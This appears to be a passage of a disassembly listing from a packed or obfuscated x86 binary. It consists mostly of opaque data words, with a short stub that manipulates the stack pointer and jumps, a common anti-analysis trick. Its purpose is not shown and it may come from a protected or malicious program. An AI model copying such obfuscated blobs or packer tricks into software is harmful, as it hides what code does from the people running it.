		dd 858BD607h, 7A80A71h,	0FFFF93E9h, 2F14FCFFh, 0E8E04484h
		dd 14h,	583492B2h, 4C029268h, 8EFBE533h, 5E885854h, 4AF39ED6h
		dd 25698D8Bh, 0F5807A8h, 48Bh, 0DFBB6600h, 56C081EBh, 51000061h
		dd 1AD28166h, 2C685BAEh, 33000018h, 0A827519Dh,	388B5E07h
		dd 0BFD38166h, 0A5C781D9h, 892025DCh, 0A80859B5h, 0C2C78107h
		dd 8B047CCAh, 0A834E58Dh, 8AC78107h, 0B65615B5h, 81665796h
		dd 8FF860F2h, 860F5300h, 15h, 10E9h, 37539B00h,	4023FB68h
		dd 8E1285F7h, 86E67FCDh, 0E8835A14h, 3820F04h, 80000000h
		dd 0EE8392EBh, 9F850F01h, 60FFFFFFh, 26758D8Bh,	8B6607A8h
		dd 16E961F1h, 0DE000000h, 7D6232h, 4 dup(0)
		dd 552E900h, 0C98A0000h, 0CD0B9CEh, 4B0DF60Bh, 884E374Ch
		dd 0C2917A8Fh, 17B2C0D5h, 0B3C8CF8Eh, 0F3080FCAh, 354A4D0Ah
		dd 788D8A4Ch, 7DB3F998h, 83CBAA7Ch, 17C73BE9h, 639C3500h
		dd 0EDBA6B1h, 2A6A6254h, 0FA1233B1h, 3E534417h,	0C7928555h
		dd 3621F52Eh, 0A3869E6Bh, 9C19E4F3h, 7CD846F8h,	0AB714AA0h
		dd 8C6BBF8Ah, 0BBF137h,	0BAC1D359h, 8D1C87A2h, 0CCB5CACDh
		dd 0AF3080Fh, 27F4A4Dh,	0F82E7457h, 0FED358FFh,	900BD6F7h
		dd 2E64AAFFh, 34D35900h, 8FFA152Dh, 0F43A8FE4h,	0D35900BEh
		dd 0A9DFBDC4h, 0AFD35900h, 6B3621F8h, 82657D9Eh, 80D5C2D5h
		dd 5900043Ah, 0EB030AD3h, 1C3BDBC4h, 5E94DA2Fh,	64D35900h
		dd 154B91h, 141BD359h, 65FEDBF3h, 9D686F2Ch, 8FC8B8D0h
		dd 69D35900h, 0F7BB67D2h, 4A1BA871h, 5Fh, 17C748h, 7073AB35h
		dd 0B64DD359h, 1EB9F4Bh, 12E1BA8h, 2C000000h, 0F03615C7h
		dd 0D35970BAh, 0CD98B9C0h, 3FDB8C50h, 0AF804D18h, 0FCC7E8EFh
		dd 0CFBCDB7Fh, 6FFE347Ah, 4D04D359h, 536B8C8Bh,	0BC272276h
		dd 0E5B86F2Dh, 395A27F2h, 0B09B3B24h, 5970346Ah, 0D4833AD3h
		dd 0A2BF8C3h, 0ABE8D4E9h, 0E7B2A572h, 8A8D491Ah, 0F7DAF2BFh
		dd 0EB683324h, 9E632E29h, 0A3B468A1h, 0D8F30BD8h, 183FDE6Dh
		dd 97DCFE03h, 879048D6h, 4935EFBCh, 0AF92AAC7h,	841DE8EFh
		dd 3720F62Fh, 8BC19F6Ch, 91D35956h, 0C98F728Ah,	0A5BE03CEh
		dd 0E5B48E3Ah, 0A10D1BA7h, 0B000000h, 786A14C7h, 0CD0C40CDh
		dd 8C1EC4D4h, 7596C135h, 4C0C8954h, 5403804Bh, 5BFB7843h
		dd 49F6713Ch, 5C57FFDEh, 0ABF146F1h, 0D3595075h, 215C47Bh
		dd 37E6C9E1h, 73220B20h, 9B3E7764h, 0CCE4B17Ch,	0B3A472EFh
		dd 6DA6A3E8h, 7C97AFA8h, 0DF5D6511h, 0C8011BA7h, 69360116h
		dd 0BD6C198h, 660A263Eh, 8000000h, 0C1189ABh, 9A2A60A6h
		dd 2930D358h, 0BCC75B6Fh, 6C12C1A4h, 4CE7B81Fh,	0C18CADD6h
		dd 578DD328h, 5DD35965h, 0BE5B3E56h, 7485CE99h,	0BCDB7A09h
		dd 0FE347ACFh, 4D35964h, 0D2BEE5FDh, 0F03615C7h, 0D35970BAh
		dd 0CD98B9C0h, 59700A43h, 0E24DE4D3h, 669CE237h, 6CD35970h
		dd 54D4D65h, 0DC1BA801h, 1, 611C7DAh, 7F7AF719h, 0BF2FF742h
		dd 0B4E19C19h, 0DCF415BAh, 0C7D082FFh, 69D481FCh, 0C0D785BEh
		dd 413C5A8h, 0D9A0C217h, 0DEC9A199h, 6D164C2Ah,	151CD359h
		dd 2B2CD6FDh, 0D7B8FEEBh, 9EDB0181h, 0BADAF27Ch, 425A29F9h
		dd 0C0BCB82h, 0F3A320EBh, 34E6CFE4h, 96CE5823h,	0ADDB01B8h
		dd 0F0A2319Ch, 29E9D2E7h, 34E6632Eh, 1F143623h,	0CCCCE73Fh
		dd 7338152Dh, 0BE60EF5Ah, 5B5187CDh, 5057DB02h,	5E141A2Fh
		dd 0A3E3FF14h, 117h, 0C51106A1h, 9D9D92D8h, 0ECA3DB01h
		dd 0B8DF792Eh, 0DEFF20EDh, 88DBCFF1h, 60FEFFA3h, 0B0D26B48h
		dd 8514794Ch, 0D5FF4D19h, 855224C7h, 0A9694C64h, 0EEB099AEh
		dd 0D8E91050h, 0F3147BB3h, 20EBAB28h, 20AA4DAh,	0E9A3AADBh
		dd 0CC6FFBA7h, 410C2D8Ch, 69F8637Ch, 9399AEA9h,	0E3FF54DFh
		dd 4422h, 15062000h, 3EB2D4C1h,	432606FCh, 2A706F87h, 5358D1D4h
		dd 6F08D3DAh, 12C16636h, 4C19E405h, 0D10E4434h,	62D75358h
		dd 62AAA7F7h, 0D0D92F75h, 67A0D358h, 0CD8DA5B2h, 73ACB1C6h
		dd 619FB7A0h, 73h, 0C51106A3h, 8C3D92D8h, 3C43DB01h, 3522F471h
		dd 1D6F2648h, 0A3D84237h, 0DB7B648Bh, 2C67F1BCh, 43DB0268h
		dd 6638C732h, 0A5B25C71h, 263E8471h, 0EDE2B15Ch, 5C1C5298h
		dd 1B22E2B1h, 713C4303h, 6A3522F4h, 87D742EFh, 459468Eh
		dd 0DE145AAFh, 0E4E2B15Ch, 5CC9FFDDh, 0C8CFE2B1h, 50A8C0B0h
		dd 0DBAEEA60h, 60505F95h, 3D5E65EAh, 56411750h,	62B173Eh
		dd 92D8C511h, 0DB08647Ah, 31AE7980h, 67897661h,	34191D51h
		dd 567D9559h, 0DFAAAD6Dh, 0D4B38D55h, 0AAAD7055h, 0A1B662DFh
		dd 9CBB59D6h, 883504D1h, 0B7963E1Dh, 0B3E61C62h, 0E5EC55D4h
		dd 0B847B2CDh, 849341E6h, 0DB217663h, 55D4B4A5h, 7D3A4ABh
		dd 60784510h, 0F08E5039h, 7023D672h, 15CF9C67h,	4E6FAE0Eh
		dd 47500683h, 0E954017Ch, 8A9FB85Ah, 504DF1A1h,	0A4391807h
		dd 0E09C99Ah, 8A557643h, 0AB2h,	0F2A2DB00h, 354D1AE5h
		dd 0C73EDC4Fh, 0B9360116h, 0B633FE19h, 0AE2BF6E1h, 0A421ECEBh
		dd 9E1BE6F1h, 900DD8FFh, 8502CDCAh, 7CF9C4D3h, 3CF4BFD8h
		dd 7FF68h, 242C8900h, 0C581E589h, 4, 8704ED83h,	565C242Ch
		dd 0C681E689h, 4, 4EE81h, 34870000h, 14895C24h,	0E3895324h
		dd 4C381h, 0EB830000h, 241C8704h, 241C895Ch, 736094BAh
		dd 8E2C163h, 0D5E2814Ah, 5671BD75h, 0B44CCFBEh,	5EF2313Fh
		dd 0F281D2F7h, 0B6C556D8h, 425768h, 24248900h, 4240483h
		dd 0D689565Bh, 8438F56h, 2434FF5Eh, 4C4835Bh
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58941B
; ---------------------------------------------------------------------------
		db 60h
		dd 0AEF8F7B8h, 0FFC50307h, 45E29BE0h, 0F40C2656h, 78769D46h
		dd 27E41457h, 637B8E22h, 0C08D8D58h, 8907AEFAh,	0A818919Dh
		dd 318D8907h, 6A07A817h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 77BCC355h, 84F78910h
		dd 69006D4Ch, 14E8h, 9D049800h,	0FD9CE5BAh, 5E0AD0E8h
		dd 0B738FEA0h, 49948C84h, 58E680CAh, 658D015Bh,	0C707A817h
		dd 0A80A5985h, 692807h,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0B88BDB6Bh, 0E94CB56Ch
		dd 0Ch,	6E0861ABh, 5ABAD0F8h, 69892A11h, 93985C7h, 7A8h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0F913CCC3h, 43360E4Bh, 0A565BB66h, 0D146BE66h
		dd 10A9B5FFh, 958907A8h, 7A80781h, 9E9h, 0A5AD6000h, 0D84E62Dh
		dd 95FFFF43h, 7A81A99h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 7DC35545h, 0AD1CC081h, 6A2476h, 0D2195FFh
		dd 0C08B07A8h, 7CD349EBh, 4E26AA5Fh, 1AD47E82h,	88A9D14h
		dd 0D935C571h, 28C85101h, 211BEF4Bh, 606DACF7h,	78755BCCh
		dd 0ED65AC4Fh, 7BB4A270h, 2D0B45E9h, 71578E3Ch,	82443E9Ah
		dd 0BB58FDCCh, 1D6B6AAAh, 61C8D036h, 9159070Fh,	8D7D2B59h
		dd 0AEFB978Dh, 0B5952307h, 8907A80Eh, 0A817318Dh, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 48CE9F91h, 85C7F14Ch, 7A80A59h, 5AA0h, 0C7F8B70Fh, 0A8093985h
		dd 7, 59B5FF00h, 6A07A815h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 2304C356h, 0FF09F51Bh
		dd 0A81A9995h, 6870F07h, 89000000h, 0A803CD8Dh,	0FF006A07h
		dd 0A80D2195h, 0EBC08B07h, 6191B13Fh, 0FC297AF6h, 4CC5BEBCh
		dd 843171FCh, 1F1774D6h, 0A2BFFA27h, 482383B9h,	8701B78Bh
		dd 0DE77EA99h, 0CC25E4D9h, 0F1844AEEh, 1CE53AFBh, 0CD8681B2h
		dd 0FBBB6707h, 0EBACF5F4h, 5DD5DB7Dh, 0FCD38D8Dh, 6A07AEh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 116C94C3h, 0B7BB2364h, 318D8931h, 6A07A817h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 1DDCC357h, 0AE87C071h, 8185B434h, 0EA73E3DEh, 0F58A533Eh
		dd 5985C75Ah, 5407A80Ah, 6A000068h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0C714C350h
		dd 0A8093985h, 7, 81852900h, 0FF07A814h, 0A810A9B5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 5A2A1807h, 5E9D0021h, 0C18589D1h, 907A80Ch, 0A81DED8Dh
		dd 9995FF07h, 6A07A81Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0B805C353h,	142CB156h
		dd 0FF006ADFh, 0A80D2195h, 0EBC08B07h, 53EFD349h, 1075830Bh
		dd 6D910527h, 0A5B41433h, 3AF8680Eh, 0CAE478C4h, 54E352E0h
		dd 1699AB9Fh, 51C15FB9h, 40D0FE08h, 723FA81Ah, 5965A00Bh
		dd 5D15B5A7h, 259A8EA9h, 0DE33AF62h, 770B773Dh,	0DF31FA99h
		dd 3969E907h, 9E8CF0Fh,	87000000h, 931FA372h, 3588B510h
		dd 39BD8B56h, 5807A80Ah, 8DB9665Eh, 0A9C6810Ch,	29000067h
		dd 0A80615B5h, 0E8DB3307h, 14h,	36F1D905h, 0FFE7A49Ch
		dd 0C283321h, 0E8813C2Eh, 6A2A8864h, 421858Bh, 0FF5F07A8h
		dd 0F1813334h, 7BDC6EFh, 0C181665Ah, 0F28121CDh, 25B359C7h
		dd 601B529h, 0EA8107A8h, 30A08AA4h, 68F0F57h, 89000000h
		dd 0A821DD9Dh, 0C2815F07h, 172BC560h, 0FB3DBF66h, 66516052h
		dd 665FD68Bh, 612730B9h, 31E048Fh, 0A82AC98Dh, 3890F07h
		dd 80000000h, 0EB8332E5h, 4B4B4B01h, 9934FB81h,	850FFFFFh
		dd 1Bh,	59C68B52h, 2BE9h, 26E5200h, 0DC47DD90h,	0EE6D5AEEh
		dd 0B63847B9h, 0E97E6914h, 0FFFFFF77h, 6810303Ch, 0C956C01Ah
		dd 44DF7865h, 563153DDh, 564737C8h, 0FEF18D8Dh,	6A07AEh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 897911C3h, 0A821899Dh, 318D8907h, 8907A817h,	0A81D0595h
		dd 5985C707h, 2C07A80Ah, 6A000065h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0CC3EC350h
		dd 8BBC1859h, 0A805C185h, 3985C707h, 7A809h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 4C99C357h, 9D29AB70h, 7A825E1h, 1559B5FFh
		dd 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0D4193BC3h, 51CB2B9Fh, 1A9995FFh,	6A07A8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0A9831FC3h, 6AD18B64h, 2195FF00h, 8B07A80Dh,	0B13FEBC0h
		dd 0A87EEED8h, 0CA39EAE3h, 863837A3h, 2C348606h, 980A1249h
		dd 0C9DABD09h, 0FE53F11h, 227403BBh, 4F479681h,	0C3D0F7A5h
		dd 0BC8DBC41h, 7174A859h, 4EBC2C99h, 4AC0FE78h,	3FC0F946h
		dd 5E80D1Ah, 8B000000h,	4CD3E35Fh, 958958F9h, 7A804A1h
		dd 62E7C081h, 0BD030000h, 7A823D5h, 0BAh, 0DE900h, 0C8960000h
		dd 0DF81FDF7h, 1684F197h, 0FF7EFFBEh, 81660234h, 5B7BD1D6h
		dd 95896060h, 7A80675h,	61CF8B66h, 0F959503h, 816107A8h
		dd 0C85062F3h, 2D8D8B04h, 8107A81Dh, 0C1223DC3h, 899D896Fh
		dd 8107A826h, 4D03D3C3h, 0F08B6608h, 0FE8B6653h, 2310048Fh
		dd 0A800298Dh, 95896007h, 7A82195h, 2AD88166h, 0EA8161C2h
		dd 60DEB195h, 18D98589h, 0C28107A8h, 60DEB191h,	13619D01h
		dd 0FA8107A8h, 0FFFF9DC4h, 0FF85850Fh, 0BE66FFFFh, 0FE816C7h
		dd 0BE000000h, 0E6AC7ACBh, 5B0330E5h, 76D22F72h, 0B966DB27h
		dd 5358086Fh, 191FBA66h, 0A9C0815Ah, 0F00005Bh,	1184h
		dd 0CE900h, 70D10000h, 39A6A1E6h, 3E2EFE1Eh, 0DB331FF0h
		dd 183C8BF5h, 1AA5958Bh, 0C78107A8h, 319CC78Fh,	13890Fh
		dd 0EE90000h, 0A6000000h, 31F21421h, 9A29E047h,	0AFC95086h
		dd 68F78110h, 661C08EEh, 0EA5BCA81h, 1263EF81h,	85895C88h
		dd 7A80E3Dh, 8F04B257h,	0BA661804h, 0BF0FC834h,	4EB83CFh
		dd 166CBA66h, 0A4F0FB81h, 850FFFFFh, 0FFFFFFA1h, 309ABA66h
		dd 0EE8h, 0FD63FF00h, 1B2B0FD5h, 7F66A4BDh, 0E8C49959h
		dd 5, 58353A2Bh, 805F5A83h, 0C78154C7h,	753Eh, 25ED9D01h
		dd 1FB907A8h, 8B00001Dh, 0A82CBDB5h, 0F9078B07h, 0A792E881h
		dd 8D892639h, 7A807B9h,	79D6C081h, 9D310646h, 7A80C6Dh
		dd 817AE881h, 850F77E4h, 6, 42B9D281h, 0E9501B03h, 8, 0A55C5E0Eh
		dd 8CFE8CE6h, 0BABE078Fh, 832CC40Fh, 0BD8904EFh, 7A82E51h
		dd 1E981h, 850F0000h, 1Ch, 0BE9h, 88868200h, 735C8CACh
		dd 118F0452h, 26E9h, 5012FF00h,	0D2F5FAE5h, 333DBD89h
		dd 82E907A8h, 89FFFFFFh, 16ED5B64h, 7E4D3EB5h, 2FC3D68Dh
		dd 0ADCB777Dh, 0E87DB32Eh, 14h,	0BE804340h, 0CB2C0EA1h
		dd 29F951C0h, 69C59DB1h, 46807B6Dh, 2820Fh, 0F88A0000h
		dd 61BD895Ah, 8107A82Dh, 7457C2h, 81665100h, 59CAEDE1h
		dd 1CE7B8h
		dd 0FFFAB500h, 0E98D8B32h, 5E07A821h, 0DE9h, 0E0C22B00h
		dd 476F9EDAh, 925069DEh, 0EE81119Ah, 64B03607h,	805BD01h
		dd 0F68107A8h, 310536D8h, 2751BD8Bh, 0EE8107A8h, 4ECA35F4h
		dd 85013289h, 7A80609h,	0D0A3EA81h, 85892ACAh, 7A82431h
		dd 0D09FC281h, 62B12ACAh, 0F01E883h, 1885h, 0EAF18100h
		dd 0E96354BEh, 1Fh, 5A293D1h, 9449B2Eh,	0B052E7A1h, 6D9D2998h
		dd 0E907A804h, 0FFFFFF7Fh, 6B7E0365h, 42A56721h, 6A234ACh
		dd 7AA27C24h, 0F3BB37Dh, 2181980Ch, 9083B42Ah, 0DD6F3025h
		dd 0A7863025h, 0BA9BCD98h, 8D893022h, 848630ADh, 5E7F8DA6h
		dd 2E86378Dh, 90864BA1h, 5103F625h, 6A819823h, 0D2E70A4Dh
		dd 2D82B147h, 0C1044623h, 5F7B85DAh, 0A40B378Dh, 972D483Fh
		dd 0B80DE0DAh, 229FB5E3h, 0FAC8378Dh, 9863021h,	2CC4E765h
		dd 66C2BB75h, 0A886BB21h, 0C8821461h, 547F85DAh, 0A10B378Dh
		dd 152D483Fh, 0F10DE0DAh, 8486209Ch, 428ED925h,	2E203025h
		dd 90863EA0h, 818D7925h, 0DB76B52Ah, 1F6FCFDAh,	84863025h
		dd 2CC87DB8h, 42838822h, 0C2793025h, 929C8DA8h,	0C50B378Ah
		dd 232932C4h, 22A3229Dh, 42491BA3h, 6A234ACh, 7AA27C24h
		dd 0F3BB37Dh, 2181980Ch, 9083B42Ah, 0DD6F3025h,	0A7863025h
		dd 0E983CD98h, 0B9A4F305h, 22h,	34E9h, 57D21E00h, 28h
		dd 0Bh dup(0)
		dd 812E900h, 0D1820000h, 14C8B1C6h, 5305EE03h, 90462F44h
		dd 0CA897287h, 1FAAB8CDh, 0ABC0D786h, 0EB0017C2h, 2D425502h
		dd 70859244h, 75ABF190h, 7BCBAA6Dh, 56AB33E1h, 5970DA10h
		dd 6B29E0D3h, 0B3D4A16Ch, 7072AB9Bh, 39D359h, 0C9CE8E59h
		dd 3F10DDA8h, 0E5B27D9Ah, 2F28EACDh, 484F0942h,	7198B07Dh
		dd 99864EC7h, 8EB6C677h, 0DDF5C494h, 5AFB98DEh,	0A0C2DB01h
		dd 0F9D4330Ch, 82425A9Fh, 42CA7AE2h, 92B34352h,	8C8B4AC7h
		dd 9C397277h, 29E3B07Bh, 53528F8Ah, 0B99CB499h,	0B633FE19h
		dd 6328F3E4h, 8E50DF4Ah, 1479C89h, 0DB0128CBh, 5FF9CAD1h
		dd 88A06D38h, 49175B61h, 4FEAE3F0h, 0E8000000h,	805314C7h
		dd 17C697h, 0C49714DFh,	0CE8B08D3h, 0D181FEC9h,	0ACA7FBC6h
		dd 30496241h, 706736C5h, 0FD1D555Bh, 23E41BA7h,	0E2000000h
		dd 380314C7h, 597075AEh, 45B057D3h, 0DBF0E7B6h,	0D9FE9DD6h
		dd 2383C1h, 73AC0000h, 1BE8B3A4h, 14C71D03h, 0C831176Ah
		dd 534C0611h, 0C893B497h, 5926063Eh, 0A10C1DD3h, 3F544312h
		dd 2C110653h, 0E565059Dh, 38254676h, 114B1F2h, 0E5B0B7DBh
		dd 92A7B068h, 1DE8EFA9h, 0B19E76DFh, 9FB7A078h,	3AA15AA0h
		dd 0A0A7E2A9h, 42AD5AD5h, 5F2E5B3h, 0F1090ECCh,	2A70C5CAh
		dd 0E2A939F4h, 0F8DBF3FAh, 0E26C3720h, 0E2A93ABCh, 10DBFC9Fh
		dd 0D1C693h, 0D86F3A5Dh, 74DF863h, 0E2A93AD1h, 0C4AFD0D7h
		dd 0E439E44Fh, 3A13498Fh, 1219E2A9h, 0A939FE34h, 0E5FD04E2h
		dd 2C415602h, 0C71F0640h, 0C74DCDF3h, 832C0017h, 0F590AA97h
		dd 32291EA7h, 27000000h, 0F3C71F06h, 702F65ABh,	2E35D359h
		dd 70A6EC41h, 76D35970h, 2DF81FBFh, 41273F60h, 0B2A572ABh
		dd 3021AE7h, 611C7C7h, 6CA87232h, 5Fh, 0FB1F06AEh, 59707FB5h
		dd 0A2B562D3h, 555C0AD7h, 65AB6034h, 0D359702Fh, 0F81FBDF6h
		dd 4748602Dh, 0A47EDC29h, 0CDBA4B59h, 58DA5187h, 2F5057D3h
		dd 0C76FAB5Bh, 0C4190611h, 5970487Eh, 2F474ED3h, 0A272AB49h
		dd 4C82C8B5h, 52D35970h, 18FB334Bh, 0A503BDFh, 0D35970D4h
		dd 0E7B2D3DAh, 0AB1C021Ah, 495F8189h, 0C9E12A80h, 0A07334E6h
		dd 0FE1FECB7h, 0FF459A33h, 0D358B9C9h, 3CEAEDACh, 0CC024835h
		dd 0D2D358B9h, 0FBC3B3CBh, 7D35D3Ah, 4012A10Ch,	0BA594257h
		dd 1739D29Dh, 0DADD1515h, 40233B41h, 0EAAF7A9Dh, 4D766D1h
		dd 0D0CB0147h, 0CAD1D35Ch, 1A3B5CF9h, 0A14BFF05h, 428EE454h
		dd 8C000000h, 7CC689ABh, 0B86E578Eh, 0FA1DBDA0h, 0E464F12Fh
		dd 58FD689Eh, 0C03162D3h, 681D07F9h, 0C08F1ABAh, 0FB049A57h
		dd 86CCB9DAh, 0DB009395h, 75C9949Bh, 0DE800F7Ah, 3177CCB9h
		dd 0DB0092FBh, 0BBE2FA01h, 17C7CFh, 0B61EF735h,	7A7283C9h
		dd 7178DB01h, 0B4A3735Ch, 0E4485FE9h, 75545F73h, 0E4A4DA20h
		dd 0A3AA5F73h, 5A05708Bh, 0E489BF05h, 888F5F73h, 0CACD8D70h
		dd 0D0ACCB5h, 13130442h, 0E3F4A344h, 92A4B18h, 0FF59D61Ch
		dd 8C5F671Bh, 0E7731F6Ah, 6D4B05EAh, 671B9437h,	0C0D7863Dh
		dd 7D697E9Fh, 0F3C71F06h, 72AB4DCDh, 35E1B2A5h,	728A5722h
		dd 0DBC8CF8Fh, 700A4086h, 5910D359h, 5D29DBAh, 83E6CCE4h
		dd 0ADE3297Eh, 0B3D35970h, 0ABAE94ACh, 70DA1056h, 0D9E0D359h
		dd 0F5F9C1C1h, 32401EA7h, 3E000000h, 0F3C71F06h, 702F65ABh
		dd 0D4F6D359h, 51105848h, 0DA9AB292h, 6FABFFD3h, 835611C7h
		dd 0AB9F7394h, 99B1A672h, 72AB9761h, 5F9DB5A2h,	1Bh, 0A372ABA1h
		dd 11F89CB4h, 65ABE5B9h, 0D359702Fh, 0AB9B6FF4h, 611C76Fh
		dd 0C7A87232h, 0AB350017h, 0D35DF1E3h, 0FA89F4EFh, 412A3F58h
		dd 3DBA8592h, 0E9AE799Eh, 7D665D0h, 88CE2310h, 0D35DF152h
		dd 12395158h, 537E460Ch, 499BE4h, 0C7990000h, 9C350017h
		dd 38DA2547h, 40BADFA2h, 59492C62h, 0D87B32D3h,	627F4BFh
		dd 9CD4AEEh, 2037E31Ch,	71708855h, 164D62Bh, 0E8D5DCDBh
		dd 1DE8EFAFh, 75B3850h,	4012A10Ch, 1B3D4257h, 0CBEA7B22h
		dd 0BE5B2C0Fh, 0C79B8199h, 0F7350017h, 74C9B61Eh, 70A3D91Fh
		dd 0A2A9D359h, 89619A8Ah, 6067DB01h, 7B9C3A73h,	0A4CBE3B0h
		dd 0FB1F06B8h, 59707FB5h, 5D7E85D3h, 0C74DCD89h, 832C0017h
		dd 0B596457Eh, 5970396Fh, 17383FD3h, 90AA19FFh,	291EA7F5h
		dd 3Eh,	0C71F0627h, 2F65ABF3h, 0F6D35970h, 884D1ABDh, 0D6F7C48Fh
		dd 0C8CF8E0Bh, 0F70F30FDh, 0AB5C3037h, 44683456h, 0EBBF8A30h
		dd 11C7EDD3h, 70BEF43Ah, 0BDC4D359h, 0A872C89Ch, 356Ch
		dd 1F06AE00h, 0F2A1DAC7h, 4F706735h, 0B99FB784h, 702F65ABh
		dd 0BFF4D359h, 5D9FA1Dh, 11C76FABh, 1DF71906h, 0C95DE532h
		dd 0ABC0A6BEh, 695BA189h, 0D5EDB18Ch, 17C7D39Dh, 38DA1300h
		dd 8DAEA96Fh, 460E9875h, 52D35DF2h, 0BD5DEC57h,	0FA9C859Ah
		dd 43D412DDh, 0B760A693h, 0BDDB0622h, 6B5A1B6h,	0ABF3C71Fh
		dd 381EA072h, 5E5700EAh, 0FFCC97B8h, 0AB8A0AE7h, 0CAB7A072h
		dd 59704E84h, 354D54D3h, 0AA978052h, 70D90F55h,	0D8DFD359h
		dd 9783DAC0h, 0A7F590AAh, 2C291Eh, 6270000h, 0ABF3C71Fh
		dd 59702F65h, 1EBDF6D3h, 6A21E1F9h, 649AE0ABh, 6AD35970h
		dd 4D214263h, 11C76FABh, 0A8723206h, 2E6Ch, 1F06AE00h
		dd 72ABF3C7h, 0A09FB7A0h, 5970245Ah, 9064E9D3h,	0DA1056ABh
		dd 0E0D35970h, 86C2C1D9h, 320611C7h, 0C92689ABh, 85F124EEh
		dd 0C76B356Dh, 8F885017h, 0E9D6F7C4h, 9CBB5B94h, 0F02604D1h
		dd 0EAD3596Fh, 49A0BDD8h, 0F5FCAA43h, 0AE7600DDh, 0BAD35D53h
		dd 15C554BFh, 5204ED02h, 0DB3C7A45h, 0D9C71162h, 0DAFB5F9Ah
		dd 18F6A7EDh, 9BBDDB05h, 2CA03DD8h, 457BC12Eh, 4BDB04BDh
		dd 692344h, 0EF93C8F4h,	151CDCF4h, 56AB1400h, 5970DA10h
		dd 0FC1BBDD3h, 0AFB66431h, 0B46CF397h, 0C74DCDE0h, 8E895017h
		dd 1D5F6C3h, 90AA9783h,	291EA7F5h, 3Eh,	1106D50Eh, 1F0613F9h
		dd 65ABF3C7h, 0D359702Fh, 0AB5A2E35h, 70DA1056h, 0D9E0D359h
		dd 0C786C2C1h, 0AB320611h, 0E6B1A672h, 0E6C90119h, 9E3EE9ADh
		dd 0C0E1AE79h, 2A1028F5h, 3F6Ch, 72ABAE00h, 18E5B0A7h
		dd 51F55C00h, 5970D50Bh, 0B3D4DBD3h, 1D56ABDFh,	54445C7Bh
		dd 0D359701Eh, 875790E5h, 1AF8C590h, 0D35970E4h, 736433EAh
		dd 0C3D48152h, 5125AAABh, 11C76FABh, 0A8723206h, 0DA1056ABh
		dd 0E0D35970h, 3CDEC1D9h, 22F52E1Bh, 2401D35h, 8ED4C115h
		dd 0DB01A401h, 0DA130007h, 0EA301D3Ah, 0DB01A4B4h, 749BB3BAh
		dd 9C894DCAh, 76ACF247h, 7CDB01A4h, 0A4619775h,	6067DB01h
		dd 0D5034948h, 0DBE2B0A7h, 0E4B27524h, 3A5B28F3h, 1D14E19h
		dd 28F02916h, 7F97642Fh, 0A8AF6F58h, 80D753DDh,	0E8E312A9h
		dd 0F999D27Dh, 2E4613DEh, 9F8C8B4Bh, 0D5A0B766h, 0E0C9F008h
		dd 0D14E193Eh, 0CC471205h, 7525B41Fh, 0B2644D62h, 802DAA5h
		dd 2B000000h, 193126F2h, 0C73EDC33h, 0B9360116h, 0B633FE19h
		dd 0AE2BF6E1h, 0A421ECEBh, 9E1BE6F1h, 900DD8FFh, 8502CDCAh
		dd 7CF9C4D3h, 3CF4BFD8h, 81E18951h, 4C1h, 4E98100h, 87000000h
		dd 895C240Ch, 8E682434h, 89000009h, 8952241Ch, 4C281E2h
		dd 83000000h, 148704EAh, 34895C24h, 45B85024h, 8907AF03h
		dd 24048BC3h, 4C481h, 8B540000h, 0C4812434h, 4,	4EC81h
		dd 1C890000h, 8468F24h,	5E2434FFh, 4C481h, 34FF0000h, 0C4815B24h
		dd 4, 0F9746AE9h, 816C24FFh, 0C07292B8h, 3888923Eh, 41D8AA91h
		dd 0AF0AD7B8h, 0FFC50307h, 8F8674E0h, 30879229h, 0FF19B63Fh
		dd 40950E25h, 3818BB04h, 0DCBA3029h, 36D01923h,	0F047A350h
		dd 0D18ECC04h, 54918C69h, 55217C03h, 7EBC62Ch, 0AB17A77h
		dd 91FE9913h, 5E43275Dh, 140A446Eh, 0CE83Eh, 94080000h
		dd 26D5FAC5h, 87F178A7h, 8B667209h, 0FB05FC6h, 6A5BC781h
		dd 0B3600000h, 16BB613Dh, 814A0CA6h, 0C8BB4EBh,	5850564Ah
		dd 0E8378B5Ah, 6, 9F77E13Eh, 6653D294h,	5A8F63BAh, 0EEC68158h
		dd 0E95A3F94h, 0Dh, 0BCDC2A6h, 0B4234F35h, 7DFCF83Ah, 0FC68176h
		dd 81640B4Ch, 252C2AC6h, 8C0F6044h, 2, 0BE85A52h, 0E000000h
		dd 0D286FC0Bh, 0B8496207h, 17B5B60Ah, 6656615Ah, 78FCA8Bh
		dd 81C8BF0Fh, 7D9FB8EFh, 81666068h, 0B5B818CBh,	0C7816192h
		dd 687D9FB4h, 0D850F4Bh, 0B0000000h, 2BE953h, 4A550000h
		dd 0FAB7FE59h, 9E960h, 8B5C0000h, 0EB86F72Bh, 0B1C8D1DFh
		dd 62E961B2h, 56FFFFFFh, 4E0F32C0h, 57CA9589h, 3122840Dh
